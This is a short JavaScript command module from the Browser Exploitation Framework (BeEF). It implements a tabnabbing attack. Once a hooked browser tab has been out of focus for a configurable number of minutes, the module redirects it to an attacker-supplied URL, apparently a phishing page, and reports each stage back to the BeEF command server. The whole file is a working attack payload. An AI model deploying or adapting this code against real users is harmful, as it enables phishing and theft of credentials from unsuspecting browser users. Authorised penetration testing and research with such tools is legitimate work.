//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	var url = "<%= @url %>";
	var wait = <%= @wait %>*1000*60;
	var tabnab_timer;

	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive');

	// begin countdown when the tab loses focus
	window.onblur = function() {
		begin_countdown();
	}

	// stop countdown if the tab regains focus
	window.onfocus = function() {
		clearTimeout(tabnab_timer);
	}

	begin_countdown = function() {
		tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);
	}

});